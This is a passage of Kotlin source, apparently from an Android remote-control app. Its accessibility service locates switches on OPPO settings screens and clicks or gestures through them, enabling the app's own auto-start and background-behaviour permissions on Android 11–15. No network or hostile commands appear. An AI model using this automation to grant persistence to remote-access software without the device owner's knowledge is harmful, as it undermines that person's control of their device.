                for (i in 0 until grandParent.childCount) {
                    val uncle = grandParent.getChild(i) ?: continue
                    managedNodes.add(uncle)
                    
                    val switchNode = findSwitchInNode(uncle)
                    if (switchNode != null) {
                        val switchRect = android.graphics.Rect()
                        switchNode.getBoundsInScreen(switchRect)
                        
                        val verticalDistance = kotlin.math.abs(switchRect.centerY() - textRect.centerY())
                        val maxVerticalDistance = kotlin.math.max(textRect.height(), switchRect.height())
                        val isRightSide = switchRect.centerX() > textRect.centerX()
                        
                        if (isRightSide && verticalDistance <= maxVerticalDistance) {
                            Log.d(TAG, "✅ 在祖父节点中找到开关控件")
                            return switchNode
                        }
                    }
                }
            }
            
            // 策略3：通过父节点容器查找，有些OPPO界面开关和文本在同一个容器内
            Log.d(TAG, "🔍 通过父节点容器查找开关控件")
            val containerSwitch = findSwitchInParentContainer(textNode)
            if (containerSwitch != null) {
                Log.d(TAG, "✅ 在父节点容器中找到开关控件")
                return containerSwitch
            }
            
            // 策略4：降低要求，查找任何附近的开关控件
            Log.d(TAG, "🔍 降低要求，查找附近的开关控件")
            val nearbySwitch = findNearbySwitch(textNode)
            if (nearbySwitch != null) {
                Log.d(TAG, "✅ 找到附近的开关控件")
                return nearbySwitch
            }
            
            Log.d(TAG, "❌ 未找到文本右侧的开关控件")
            return null
            
        } catch (e: Exception) {
            Log.e(TAG, "查找右侧开关控件失败", e)
            return null
        }
    }
    
    /**
     * 通过父节点容器查找开关控件
     */
    private fun findSwitchInParentContainer(textNode: AccessibilityNodeInfo): AccessibilityNodeInfo? {
        var parent = textNode.parent
        var level = 0
        
        while (parent != null && level < 5) {
            // 直接在当前父节点中查找开关
            val switchNode = findSwitchInNode(parent)
            if (switchNode != null) {
                return switchNode
            }
            
            parent = parent.parent
            level++
        }
        
        return null
    }
    
    /**
     * 查找附近的开关控件（降低精度要求）
     */
    private fun findNearbySwitch(textNode: AccessibilityNodeInfo): AccessibilityNodeInfo? {
        try {
            val textRect = android.graphics.Rect()
            textNode.getBoundsInScreen(textRect)
            
            val parentNode = textNode.parent ?: return null
            val grandParent = parentNode.parent ?: return null
            
            // 在祖父节点的所有子节点中查找开关，不要求严格的位置关系
            for (i in 0 until grandParent.childCount) {
                val uncle = grandParent.getChild(i) ?: continue
                managedNodes.add(uncle)
                
                val switchNode = findSwitchInNode(uncle)
                if (switchNode != null) {
                    val switchRect = android.graphics.Rect()
                    switchNode.getBoundsInScreen(switchRect)
                    
                    // 只要在合理的垂直距离内就接受
                    val verticalDistance = kotlin.math.abs(switchRect.centerY() - textRect.centerY())
                    val maxVerticalDistance = kotlin.math.max(textRect.height(), switchRect.height()) * 2
                    
                    if (verticalDistance <= maxVerticalDistance) {
                        Log.d(TAG, "✅ 找到附近的开关控件，垂直距离: ${verticalDistance}px")
                        return switchNode
                    }
                }
            }
            
            return null
            
        } catch (e: Exception) {
            Log.e(TAG, "查找附近开关控件失败", e)
            return null
        }
    }
    
    /**
     * 在节点及其子节点中查找开关控件 - 优化版，支持更多控件类型
     */
    private fun findSwitchInNode(node: AccessibilityNodeInfo): AccessibilityNodeInfo? {
        // 检查当前节点
        val className = node.className?.toString() ?: ""
        val text = node.text?.toString() ?: ""
        
        // 扩展开关控件识别条件
        val isSwitchByClass = className.contains("Switch", ignoreCase = true) ||
                             className.contains("ToggleButton", ignoreCase = true) ||
                             className.contains("CheckBox", ignoreCase = true) ||
                             className.contains("CompoundButton", ignoreCase = true) ||
                             className.contains("RadioButton", ignoreCase = true)
        
        val isSwitchByProperties = node.isClickable && node.isCheckable
        
        // OPPO设备特殊识别：某些开关可能是Image或View
        val isSwitchByContent = (className.contains("Image", ignoreCase = true) ||
                                className.contains("View", ignoreCase = true)) &&
                               node.isClickable &&
                               (text.contains("开启", ignoreCase = true) ||
                                text.contains("关闭", ignoreCase = true) ||
                                text.contains("已开启", ignoreCase = true) ||
                                text.contains("已关闭", ignoreCase = true))
        
        if (isSwitchByClass || isSwitchByProperties || isSwitchByContent) {
            Log.d(TAG, "✅ 找到开关控件: 类型=$className, 文本=$text, 可点击=${node.isClickable}, 可选中=${node.isCheckable}")
            return node
        }
        
        // 递归检查子节点
        for (i in 0 until node.childCount) {
            val child = node.getChild(i) ?: continue
            managedNodes.add(child)




            
            val result = findSwitchInNode(child)
            if (result != null) {
                return result
            }
        }
        
        return null
    }
    
    /**
     * 安全点击节点
     */
    private fun performClickSafe(node: AccessibilityNodeInfo): Boolean {
        return try {
            val nodeText = node.text?.toString() ?: ""
            val nodeDesc = node.contentDescription?.toString() ?: ""
            val nodeClass = node.className?.toString() ?: ""
            val isClickable = node.isClickable
            val isVisible = node.isVisibleToUser
            val isEnabled = node.isEnabled
            
            Log.d(TAG, "🔍 节点详情: 文本='$nodeText', 描述='$nodeDesc', 类型='$nodeClass', 可点击=$isClickable, 可见=$isVisible, 启用=$isEnabled")
            
            if (!isVisible) {
                Log.w(TAG, "❌ 节点不可见，跳过点击")
                return false
            }
            
            if (!isEnabled) {
                Log.w(TAG, "❌ 节点未启用，跳过点击")
                return false
            }
            
            if (!isClickable) {
                Log.w(TAG, "⚠️ 节点不可点击，尝试点击父节点")
                
                var parent = node.parent
                var level = 0
                while (parent != null && level < MAX_SCROLL_ATTEMPTS) {
                    if (parent.isClickable && parent.isVisibleToUser && parent.isEnabled) {
                        Log.d(TAG, "🎯 找到可点击的父节点，向上${level + 1}层")
                        managedNodes.add(parent)
                        return performClickAction(parent)
                    }
                    parent = parent.parent
                    level++
                }
                
                Log.e(TAG, "❌ 未找到可点击的父节点")
                return false
            }
            
            return performClickAction(node)
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 点击节点时发生异常", e)
            false
        }
    }
    
    /**
     * 执行点击动作
     */
    private fun performClickAction(node: AccessibilityNodeInfo): Boolean {
        return try {
            val clicked = node.performAction(AccessibilityNodeInfo.ACTION_CLICK)
            if (clicked) {
                Log.d(TAG, "✅ 节点点击成功")
            } else {
                Log.w(TAG, "❌ 节点点击失败")
            }
            clicked
        } catch (e: Exception) {
            Log.e(TAG, "❌ 执行点击动作时发生异常", e)
            false
        }
    }
    
    /**
     * 直接点击Switch控件的坐标
     */
    private suspend fun performClickOnSwitchCoordinate(switchNode: AccessibilityNodeInfo): Boolean {
        return try {
            // 等待一小段时间确保页面稳定
            delay(300)
            
            // 获取Switch控件的屏幕坐标
            val rect = android.graphics.Rect()
            switchNode.getBoundsInScreen(rect)
            
            val centerX = rect.centerX()
            val centerY = rect.centerY()
            
            Log.d(TAG, "🎯 Switch控件坐标: ($centerX, $centerY), 区域: $rect")
            
            // 验证坐标是否合理（在屏幕范围内）
            val metrics = service.resources.displayMetrics
            if (centerX < 0 || centerX > metrics.widthPixels || centerY < 0 || centerY > metrics.heightPixels) {
                Log.e(TAG, "❌ Switch坐标超出屏幕范围: ($centerX, $centerY), 屏幕尺寸: ${metrics.widthPixels}x${metrics.heightPixels}")
                return false
            }
            
            // 使用AccessibilityService的全局手势功能点击坐标
            val gestureBuilder = android.accessibilityservice.GestureDescription.Builder()
            val path = android.graphics.Path()
            path.moveTo(centerX.toFloat(), centerY.toFloat())
            
            val stroke = android.accessibilityservice.GestureDescription.StrokeDescription(path, 0, 100)
            gestureBuilder.addStroke(stroke)
            
            val gesture = gestureBuilder.build()
            
            val success = service.dispatchGesture(gesture, object : android.accessibilityservice.AccessibilityService.GestureResultCallback() {
                override fun onCompleted(gestureDescription: android.accessibilityservice.GestureDescription?) {
                    Log.d(TAG, "✅ 坐标点击手势完成")
                }
                
                override fun onCancelled(gestureDescription: android.accessibilityservice.GestureDescription?) {
                    Log.w(TAG, "⚠️ 坐标点击手势被取消")
                }
            }, null)
            
            if (success) {
                Log.d(TAG, "✅ 成功执行坐标点击: ($centerX, $centerY)")
            } else {
                Log.e(TAG, "❌ 坐标点击失败: ($centerX, $centerY)")
            }
            
            success
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 坐标点击异常", e)
            false
        }
    }
    
    /**
     * 安全回收节点
     */
    private fun safeRecycleNode(node: AccessibilityNodeInfo?) {
        try {
            node?.recycle()
        } catch (e: Exception) {
            Log.w(TAG, "回收节点时发生异常", e)
        }
    }
    
    /**
     * 执行页面向上滚动
     */
    private suspend fun performScrollUp() {
        try {
            // 获取屏幕尺寸
            val metrics = service.resources.displayMetrics
            val screenWidth = metrics.widthPixels
            val screenHeight = metrics.heightPixels
            
            // 向下滑动手指让页面内容向上滚动
            val centerX = screenWidth / 2f
            val startY = screenHeight * 0.35f
            val endY = screenHeight * 0.65f
            
            Log.d(TAG, "🔧 执行页面向上滚动（手指向下滑动）: ($centerX, $startY) -> ($centerX, $endY)")
            service.performSwipe(centerX, startY, centerX, endY, 400)
            
        } catch (e: Exception) {
            Log.e(TAG, "页面向上滚动失败", e)
        }
    }
    
    /**
     * 执行页面向下滚动
     */
    private suspend fun performScrollDown(): Boolean {
        return try {
            // 获取屏幕尺寸
            val metrics = service.resources.displayMetrics
            val screenWidth = metrics.widthPixels
            val screenHeight = metrics.heightPixels
            
            // 向上滑动手指让页面内容向下滚动
            val centerX = screenWidth / 2f
            val startY = screenHeight * 0.75f
            val endY = screenHeight * 0.35f
            
            Log.d(TAG, "🔧 执行页面向下滚动（手指向上滑动）: ($centerX, $startY) -> ($centerX, $endY)")
            service.performSwipe(centerX, startY, centerX, endY, 400)
            
            true
        } catch (e: Exception) {
            Log.e(TAG, "页面向下滚动失败", e)
            false
        }
    }
    
    /**
     * 清理所有管理的节点
     */
    private fun cleanupManagedNodes() {
        try {
            managedNodes.forEach { node ->
                try {
                    node.recycle()
                } catch (e: Exception) {
                    // 忽略回收异常
                }
            }
            managedNodes.clear()
            Log.d(TAG, "✅ 清理管理节点完成")
        } catch (e: Exception) {
            Log.w(TAG, "清理管理节点时发生异常", e)
        }
    }
    
    /**
     * 调试页面结构，输出所有文本节点
     */
    private fun debugPageStructure(rootNode: AccessibilityNodeInfo) {
        try {
            Log.d(TAG, "🔍 调试页面结构:")
            val textNodes = mutableListOf<String>()
            collectTextNodes(rootNode, textNodes, 0, 20)
            
            if (textNodes.isEmpty()) {
                Log.d(TAG, "📝 页面中没有找到任何文本节点")
            } else {
                Log.d(TAG, "📝 页面中的文本节点:")
                textNodes.forEach { Log.d(TAG, "  🎯 $it") }
            }
        } catch (e: Exception) {
            Log.w(TAG, "调试页面结构失败", e)
        }
    }
    
    /**
     * 调试开关节点，输出所有可能的开关控件
     */
    private fun debugSwitchNodes(rootNode: AccessibilityNodeInfo) {
        try {
            Log.d(TAG, "🔍 调试开关节点:")
            val switchNodes = mutableListOf<String>()
            collectSwitchNodes(rootNode, switchNodes, 0, 10)
            
            if (switchNodes.isEmpty()) {
                Log.d(TAG, "📝 页面中没有找到任何开关节点")
            } else {
                Log.d(TAG, "📝 页面中的开关节点:")
                switchNodes.forEach { Log.d(TAG, "  🎯 $it") }
            }
        } catch (e: Exception) {
            Log.w(TAG, "调试开关节点失败", e)
        }
    }
    
    /**
     * 收集文本节点
     */
    private fun collectTextNodes(node: AccessibilityNodeInfo, result: MutableList<String>, depth: Int, maxNodes: Int) {
        if (result.size >= maxNodes || depth > 8) return
        
        try {
            val text = node.text?.toString()?.trim() ?: ""
            val desc = node.contentDescription?.toString()?.trim() ?: ""
            val className = node.className?.toString() ?: ""
            
            if (text.isNotEmpty() || desc.isNotEmpty()) {
                val nodeInfo = "[${className.substringAfterLast(".")}] " +
                              "${if (text.isNotEmpty()) "text='$text'" else ""} " +
                              "${if (desc.isNotEmpty()) "desc='$desc'" else ""}"
                result.add(nodeInfo.trim())
            }
            
            for (i in 0 until node.childCount) {
                val child = node.getChild(i) ?: continue
                collectTextNodes(child, result, depth + 1, maxNodes)
                child.recycle()
            }
        } catch (e: Exception) {
            // 忽略单个节点的异常
        }
    }
    
    /**
     * 收集开关节点
     */
    private fun collectSwitchNodes(node: AccessibilityNodeInfo, result: MutableList<String>, depth: Int, maxNodes: Int) {
        if (result.size >= maxNodes || depth > 8) return
        
        try {
            val className = node.className?.toString() ?: ""
            val text = node.text?.toString()?.trim() ?: ""
            val desc = node.contentDescription?.toString()?.trim() ?: ""
            
            // 判断是否是开关类控件
            val isSwitchLike = className.contains("Switch", ignoreCase = true) ||
                              className.contains("ToggleButton", ignoreCase = true) ||
                              className.contains("CheckBox", ignoreCase = true) ||
                              className.contains("CompoundButton", ignoreCase = true) ||
                              className.contains("RadioButton", ignoreCase = true) ||
                              (node.isClickable && node.isCheckable)
            
            if (isSwitchLike) {
                val nodeInfo = "[${className.substringAfterLast(".")}] " +
                              "${if (text.isNotEmpty()) "text='$text'" else ""} " +
                              "${if (desc.isNotEmpty()) "desc='$desc'" else ""} " +
                              "clickable=${node.isClickable} checkable=${node.isCheckable} checked=${node.isChecked}"
                result.add(nodeInfo.trim())
            }
            
            for (i in 0 until node.childCount) {
                val child = node.getChild(i) ?: continue
                collectSwitchNodes(child, result, depth + 1, maxNodes)
                child.recycle()
            }
        } catch (e: Exception) {
            // 忽略单个节点的异常
        }
    }
    
    /**
     * 调试弹窗结构，输出所有相关控件
     */
    private fun debugPopupStructure(rootNode: AccessibilityNodeInfo) {
        try {
            Log.d(TAG, "🔍 调试弹窗结构:")
            val popupNodes = mutableListOf<String>()
            collectPopupNodes(rootNode, popupNodes, 0, 20)
            
            if (popupNodes.isEmpty()) {
                Log.d(TAG, "📝 弹窗中没有找到任何控件")
            } else {
                Log.d(TAG, "📝 弹窗中的控件:")
                popupNodes.forEach { Log.d(TAG, "  🎯 $it") }
            }
        } catch (e: Exception) {
            Log.w(TAG, "调试弹窗结构失败", e)
        }
    }
    
    /**
     * 收集弹窗节点
     */
    private fun collectPopupNodes(node: AccessibilityNodeInfo, result: MutableList<String>, depth: Int, maxNodes: Int) {
        if (result.size >= maxNodes || depth > 8) return
        
        try {
            val className = node.className?.toString() ?: ""
            val text = node.text?.toString()?.trim() ?: ""
            val desc = node.contentDescription?.toString()?.trim() ?: ""
            val isClickable = node.isClickable
            val isVisible = node.isVisibleToUser
            
            // 收集有用的控件信息
            val isRelevant = text.isNotEmpty() || 
                           desc.isNotEmpty() || 
                           className.contains("Button", ignoreCase = true) ||
                           className.contains("TextView", ignoreCase = true) ||
                           isClickable
            
            if (isRelevant) {
                val nodeType = when {
                    className.contains("Button", ignoreCase = true) -> "Button"
                    className.contains("TextView", ignoreCase = true) -> "TextView"
                    else -> className.substringAfterLast(".")
                }
                
                val nodeInfo = "[$nodeType] " +
                              "${if (text.isNotEmpty()) "text='$text'" else ""} " +
                              "${if (desc.isNotEmpty()) "desc='$desc'" else ""} " +
                              "clickable=$isClickable visible=$isVisible"
                result.add(nodeInfo.trim())
            }
            
            for (i in 0 until node.childCount) {
                val child = node.getChild(i) ?: continue
                collectPopupNodes(child, result, depth + 1, maxNodes)
                child.recycle()
            }
        } catch (e: Exception) {
            // 忽略单个节点的异常
        }
    }
    
    // ======================== 智能自启动状态检测和切换方法 ========================
    
    /**
     * Android 14/15: 检测自启动状态并根据需要点击应用来切换
     * 通过查看同行开关控件的文本状态来判断，避免点击应用文本造成的意外状态变化
     */
    private suspend fun checkAndToggleAutoStartByAppClick(): Boolean {
        Log.d(TAG, "🔍 开始智能检测自启动状态 (Android 14/15)")
        
        return try {
            // 动态获取当前应用名称
            val appName = try {
                val applicationInfo = context.applicationInfo
                val packageManager = context.packageManager
                packageManager.getApplicationLabel(applicationInfo).toString()
            } catch (e: Exception) {
                Log.w(TAG, "无法获取应用名称，使用默认名称", e)
                "Android Remote Control"
            }
            
            // 查找应用文本节点（但不点击）
            val appNode = findAppNodeWithoutClick(appName)
            if (appNode == null) {
                Log.e(TAG, "❌ 无法找到应用文本节点: $appName")
                return false
            }
            
                         // 查找同行的开关控件并检测状态
             val currentState = detectPermissionStateByText(appNode, "自启动", appName)
             Log.d(TAG, "🔍 检测到自启动当前状态: $currentState")
            
            val targetState = true // 目标是开启自启动
            
            if (currentState == targetState) {
                Log.d(TAG, "✅ 自启动已是目标状态，无需操作")
                safeRecycleNode(appNode)
                return true
            } else {
                Log.d(TAG, "🔄 需要切换自启动状态，点击应用文本")
                
                // 点击应用文本来改变状态
                val clickSuccess = performClickSafe(appNode)
                safeRecycleNode(appNode)
                
                if (clickSuccess) {
                    delay(PAGE_LOAD_DELAY)
                    Log.d(TAG, "✅ 通过点击应用文本成功切换自启动状态")
                    return true
                } else {
                    Log.e(TAG, "❌ 点击应用文本失败")
                    return false
                }
            }
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 智能检测自启动状态异常", e)
            false
        }
    }
    
    /**
     * Android 11: 检测自启动状态并根据需要点击应用来切换
     * Android 11版本的自启动状态检测，同时处理后台行为权限
     */
    private suspend fun checkAndToggleAutoStartByAppClickV11(): Boolean {
        Log.d(TAG, "🔍 开始智能检测自启动状态 (Android 11)")
        
        return try {
            // 动态获取当前应用名称
            val appName = try {
                val applicationInfo = context.applicationInfo
                val packageManager = context.packageManager
                packageManager.getApplicationLabel(applicationInfo).toString()
            } catch (e: Exception) {
                Log.w(TAG, "无法获取应用名称，使用默认名称", e)
                "Android Remote Control"
            }
            
            // 查找应用文本节点（但不点击）
            val appNode = findAppNodeWithoutClick(appName)
            if (appNode == null) {
                Log.e(TAG, "❌ 无法找到应用文本节点: $appName")
                return false
            }
            
                         // Android 11中自启动和后台行为可能在同一页面
             // 先检测自启动状态
             val autoStartState = detectPermissionStateByText(appNode, "自启动", appName)
             Log.d(TAG, "🔍 检测到自启动当前状态: $autoStartState")
            
            val targetState = true // 目标是开启自启动
            val needToggle = autoStartState != targetState
            
            if (needToggle) {
                Log.d(TAG, "🔄 需要切换自启动状态，点击应用文本")
                
                // 点击应用文本来改变状态
                val clickSuccess = performClickSafe(appNode)
                safeRecycleNode(appNode)
                
                if (clickSuccess) {
                    delay(PAGE_LOAD_DELAY)
                    
                    // Android 11点击应用后可能需要在详情页面进一步配置
                    val configSuccess = configureBackgroundBehaviorAndAutoStartV11()
                    if (configSuccess) {
                        Log.d(TAG, "✅ 通过点击应用文本并配置详情成功设置自启动")
                        return true
                    } else {
                        Log.w(TAG, "⚠️ 点击应用文本成功但详情配置可能失败")
                        return true // 点击文本本身可能已经改变了状态
                    }
                } else {
                    Log.e(TAG, "❌ 点击应用文本失败")
                    safeRecycleNode(appNode)
                    return false
                }
            } else {
                Log.d(TAG, "✅ 自启动已是目标状态，无需操作")
                safeRecycleNode(appNode)
                return true
            }
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 智能检测自启动状态异常 (Android 11)", e)
            false
        }
    }
    
    /**
     * 查找应用文本节点但不点击
     * 用于状态检测阶段
     */
    private suspend fun findAppNodeWithoutClick(appName: String): AccessibilityNodeInfo? {
        Log.d(TAG, "🔍 查找应用文本节点（不点击）: $appName")
        
        // 第1步：先搜索当前位置
        val currentNode = searchCurrentPositionForAppNode(appName)
        if (currentNode != null) {
            return currentNode
        }
        
        // 第2步：向下搜索循环
        return scrollDownAndSearchAppNodeLoop(appName)
    }
    
    /**
     * 在当前位置搜索应用节点（不点击）
     */
    private suspend fun searchCurrentPositionForAppNode(appName: String): AccessibilityNodeInfo? {
        Log.d(TAG, "🔍 搜索当前位置的应用节点: $appName")
        
        val rootNode = service.rootInActiveWindow
        if (rootNode == null) {
            Log.e(TAG, "无法获取根节点")
            return null
        }
        
        val appNode = findNodeByText(rootNode, appName)
        if (appNode != null && appNode.isVisibleToUser) {
            Log.d(TAG, "✅ 在当前位置找到应用节点: $appName")
            safeRecycleNode(rootNode)
            return appNode
        }
        
        safeRecycleNode(rootNode)
        return null
    }
    
    /**
     * 向下滚动搜索应用节点循环（不点击）
     */
    private suspend fun scrollDownAndSearchAppNodeLoop(appName: String): AccessibilityNodeInfo? {
        Log.d(TAG, "🔍 开始向下搜索应用节点循环: $appName")
        
        var scrollAttempts = 0
        
        while (scrollAttempts < MAX_SCROLL_ATTEMPTS + 2) {
            Log.d(TAG, "🔍 向下滚动第${scrollAttempts + 1}次搜索应用节点: $appName")
            
            // 先滚动
            val scrollSuccess = performScrollDown()
            if (!scrollSuccess) {
                Log.d(TAG, "⚠️ 无法继续向下滚动，可能已到底部")
                break
            }
            
            delay(500) // 等待滑动完成
            
            // 再搜索
            val appNode = searchCurrentPositionForAppNode(appName)
            if (appNode != null) {
                return appNode
            }
            
            scrollAttempts++
        }
        
        Log.e(TAG, "❌ 向下搜索应用节点失败: 未找到 $appName (共向下滚动${scrollAttempts}次)")
        return null
    }
    
    
    
         /**
      * Android 11: 配置后台行为和自启动的详情页面操作
      * 这个方法在进入应用详情页面后执行，用于配置具体的权限选项
      */
     private suspend fun configureBackgroundBehaviorAndAutoStartV11(): Boolean {
         Log.d(TAG, "🔧 配置后台行为和自启动详情 (Android 11)")
         
         var success = true
         
         try {
             // 配置完全后台行为
             val backgroundResult = togglePermissionWithPopup("允许完全后台行为", true, "允许")
             if (!backgroundResult) {
                 Log.w(TAG, "⚠️ 完全后台行为配置失败")
                 success = false
             }
             
             delay(STEP_DELAY)
             
             // 配置自启动，尝试多种可能的文本
             val autoStartTexts = listOf(
                 "允许应用自启动",
                 "自启动",
                 "应用自启动",
                 "允许自启动"
             )
             
             var autoStartSuccess = false
             for (text in autoStartTexts) {
                 if (togglePermission(text, true)) {
                     Log.d(TAG, "✅ 自启动配置成功，使用文本: $text")
                     autoStartSuccess = true
                     break
                 } else {
                     Log.d(TAG, "🔍 尝试文本失败: $text")
                 }
             }
             
             if (!autoStartSuccess) {
                 Log.w(TAG, "⚠️ 应用自启动配置失败，但可能已通过点击应用文本改变状态")
                 // 不设置success=false，因为点击应用文本可能已经改变了状态
             }
             
             return success
             
         } catch (e: Exception) {
             Log.e(TAG, "❌ 配置后台行为和自启动详情异常", e)
             return false
         }
     }
     
     // ======================== 通用智能权限检测和切换方法 ========================
     
     /**
      * 智能检测后台行为权限状态并根据需要点击应用来切换
      * 点击应用进入详情页面，在详情页面中智能检测和配置权限状态
      */
     private suspend fun checkAndToggleBackgroundBehaviorByAppClick(permissionText: String, popupButtonText: String): Boolean {
         Log.d(TAG, "🔍 开始智能检测后台行为权限状态: $permissionText")
         
         return try {
             // 动态获取当前应用名称
             val appName = try {
                 val applicationInfo = context.applicationInfo
                 val packageManager = context.packageManager
                 packageManager.getApplicationLabel(applicationInfo).toString()
             } catch (e: Exception) {
                 Log.w(TAG, "无法获取应用名称，使用默认名称", e)
                 "Android Remote Control"
             }
             
             // 查找应用文本节点（但不点击）
             val appNode = findAppNodeWithoutClick(appName)
             if (appNode == null) {
                 Log.e(TAG, "❌ 无法找到应用文本节点: $appName")
                 return false
             }
             
             // 点击应用文本进入详情页面
             Log.d(TAG, "🔄 点击应用文本进入详情页面")
             val clickSuccess = performClickSafe(appNode)
             safeRecycleNode(appNode)
             
             if (!clickSuccess) {
                 Log.e(TAG, "❌ 点击应用文本失败")
                 return false
             }
             
             delay(PAGE_LOAD_DELAY)
             
             // 在详情页面中智能检测和配置权限
             return configureBackgroundBehaviorInDetailsPage(permissionText, popupButtonText)
             
         } catch (e: Exception) {
             Log.e(TAG, "❌ 智能检测后台行为权限状态异常: $permissionText", e)
             false
         }
     }
     
     /**
      * Android 12: 智能检测后台行为权限状态并根据需要点击应用来切换
      * 点击应用进入详情页面，通过耗电管理进入权限设置并智能配置
      */
     private suspend fun checkAndToggleBackgroundBehaviorByAppClickV12(permissionText: String, popupButtonText: String): Boolean {
         Log.d(TAG, "🔍 开始智能检测后台行为权限状态 (Android 12): $permissionText")
         
         return try {
             // 动态获取当前应用名称
             val appName = try {
                 val applicationInfo = context.applicationInfo
                 val packageManager = context.packageManager
                 packageManager.getApplicationLabel(applicationInfo).toString()
             } catch (e: Exception) {
                 Log.w(TAG, "无法获取应用名称，使用默认名称", e)
                 "Android Remote Control"
             }
             
             // 查找应用文本节点（但不点击）
             val appNode = findAppNodeWithoutClick(appName)
             if (appNode == null) {
                 Log.e(TAG, "❌ 无法找到应用文本节点: $appName")
                 return false
             }
             
             // 点击应用文本进入详情页面
             Log.d(TAG, "🔄 点击应用文本进入详情页面")
             val clickSuccess = performClickSafe(appNode)
             safeRecycleNode(appNode)
             
             if (!clickSuccess) {
                 Log.e(TAG, "❌ 点击应用文本失败")
                 return false
             }
             
             delay(PAGE_LOAD_DELAY)
             
             // 导航到耗电管理
             if (!scrollAndFindText("耗电管理", "耗电管理页面")) {
                 Log.e(TAG, "❌ 无法进入耗电管理")
                 return false
             }
             
             // 在耗电管理页面中智能检测和配置权限
             return configureBackgroundBehaviorInDetailsPage(permissionText, popupButtonText)
             
         } catch (e: Exception) {
             Log.e(TAG, "❌ 智能检测后台行为权限状态异常 (Android 12): $permissionText", e)
             false
         }
     }
     
     /**
      * 通用的智能权限检测和应用点击方法
      * 用于处理一般权限（不需要弹窗处理）
      */
     private suspend fun checkAndTogglePermissionByAppClick(permissionText: String, targetState: Boolean): Boolean {
         Log.d(TAG, "🔍 开始智能检测权限状态: $permissionText -> $targetState")
         
         return try {
             // 动态获取当前应用名称
             val appName = try {
                 val applicationInfo = context.applicationInfo
                 val packageManager = context.packageManager
                 packageManager.getApplicationLabel(applicationInfo).toString()
             } catch (e: Exception) {
                 Log.w(TAG, "无法获取应用名称，使用默认名称", e)
                 "Android Remote Control"
             }
             
             // 查找应用文本节点（但不点击）
             val appNode = findAppNodeWithoutClick(appName)
             if (appNode == null) {
                 Log.e(TAG, "❌ 无法找到应用文本节点: $appName")
                 return false
             }
             
             // 查找同行的开关控件并检测状态
             val currentState = detectPermissionStateByText(appNode, permissionText, appName)
             Log.d(TAG, "🔍 检测到 $permissionText 当前状态: $currentState")
             
             if (currentState == targetState) {
                 Log.d(TAG, "✅ $permissionText 已是目标状态，无需操作")
                 safeRecycleNode(appNode)
                 return true
             } else {
                 Log.d(TAG, "🔄 需要切换 $permissionText 状态，点击应用文本进入详情页面")
                 
                 // 点击应用文本进入详情页面，让后续详情页面的操作来处理权限
                 val clickSuccess = performClickSafe(appNode)
                 safeRecycleNode(appNode)
                 
                 if (clickSuccess) {
                     delay(PAGE_LOAD_DELAY)
                     Log.d(TAG, "✅ 成功点击应用文本进入详情页面")
                     return true
                 } else {
                     Log.e(TAG, "❌ 点击应用文本失败")
                     return false
                 }
             }
             
         } catch (e: Exception) {
             Log.e(TAG, "❌ 智能检测权限状态异常: $permissionText", e)
             false
         }
     }
     
     /**
      * 通用的权限状态检测方法（通过文本）
      * 可以检测各种权限的开关状态，不仅限于自启动
      */
     private suspend fun detectPermissionStateByText(appNode: AccessibilityNodeInfo, permissionName: String, appName: String): Boolean {
         Log.d(TAG, "🔍 通过文本检测权限状态: $permissionName for $appName")
         
         try {
             // 查找同行的开关控件
             val switchNode = findRightSideSwitchNode(appNode)
             if (switchNode == null) {
                 Log.w(TAG, "⚠️ 未找到同行的开关控件，默认认为是关闭状态")
                 return false
             }
             
             // 通过开关控件的文本来判断状态
             val switchText = switchNode.text?.toString()?.trim() ?: ""
             val switchDesc = switchNode.contentDescription?.toString()?.trim() ?: ""
             
             Log.d(TAG, "🔍 开关控件文本: '$switchText', 描述: '$switchDesc'")
             
             // 判断开关状态（支持多种权限的文本表达）
             val isEnabled = when {
                 // 开启状态的各种表达
                 switchText.contains("开启", ignoreCase = true) -> true
                 switchText.contains("打开", ignoreCase = true) -> true
                 switchText.contains("启用", ignoreCase = true) -> true
                 switchText.contains("允许", ignoreCase = true) -> true
                 switchText.contains("开", ignoreCase = true) && switchText.length <= 2 -> true
                 switchText.contains("是", ignoreCase = true) -> true
                 switchText.contains("on", ignoreCase = true) -> true
                 // 关闭状态的各种表达
                 switchText.contains("关闭", ignoreCase = true) -> false
                 switchText.contains("禁用", ignoreCase = true) -> false
                 switchText.contains("停用", ignoreCase = true) -> false
                 switchText.contains("关", ignoreCase = true) && switchText.length <= 2 -> false
                 switchText.contains("否", ignoreCase = true) -> false
                 switchText.contains("off", ignoreCase = true) -> false
                 // 通过描述判断
                 switchDesc.contains("开启", ignoreCase = true) -> true
                 switchDesc.contains("打开", ignoreCase = true) -> true
                 switchDesc.contains("关闭", ignoreCase = true) -> false
                 switchDesc.contains("禁用", ignoreCase = true) -> false
                 else -> {
                     Log.w(TAG, "⚠️ 无法从文本判断开关状态，默认认为是关闭")
                     false
                 }
             }
             
             Log.d(TAG, "🔍 根据文本判断 $permissionName 状态: $isEnabled")
             safeRecycleNode(switchNode)
             return isEnabled
             
         } catch (e: Exception) {
             Log.e(TAG, "❌ 检测权限状态异常: $permissionName", e)
             return false
         }
           }
      
      /**
       * 在详情页面中智能检测和配置后台行为权限
       * 先检测权限状态，只有状态不符合时才点击开关，避免重复操作
       */
      private suspend fun configureBackgroundBehaviorInDetailsPage(permissionText: String, popupButtonText: String): Boolean {
          Log.d(TAG, "🔧 在详情页面智能配置后台行为权限: $permissionText")
          
          return try {
              val targetState = true // 后台行为权限目标都是开启
              
              // 尝试不同的权限文本变体
              val permissionVariants = when {
                  permissionText.contains("完全后台行为") -> listOf(
                      "允许完全后台行为",
                      "完全后台行为",
                      "后台行为"
                  )
                  permissionText.contains("应用后台行为") -> listOf(
                      "允许应用后台行为",
                      "应用后台行为", 
                      "后台行为"
                  )
                  else -> listOf(permissionText)
              }
              
              var configSuccess = false
              
              for (variant in permissionVariants) {
                  Log.d(TAG, "🔍 尝试查找权限文本: $variant")
                  
                  // 在详情页面中查找权限文本
                  val rootNode = service.rootInActiveWindow
                  if (rootNode == null) {
                      Log.w(TAG, "⚠️ 无法获取根节点")
                      continue
                  }
                  
                  val permissionNode = findNodeByText(rootNode, variant)
                  if (permissionNode == null) {
                      Log.d(TAG, "🔍 未找到权限文本: $variant")
                      safeRecycleNode(rootNode)
                      continue
                  }
                  
                  Log.d(TAG, "✅ 找到权限文本: $variant")
                  
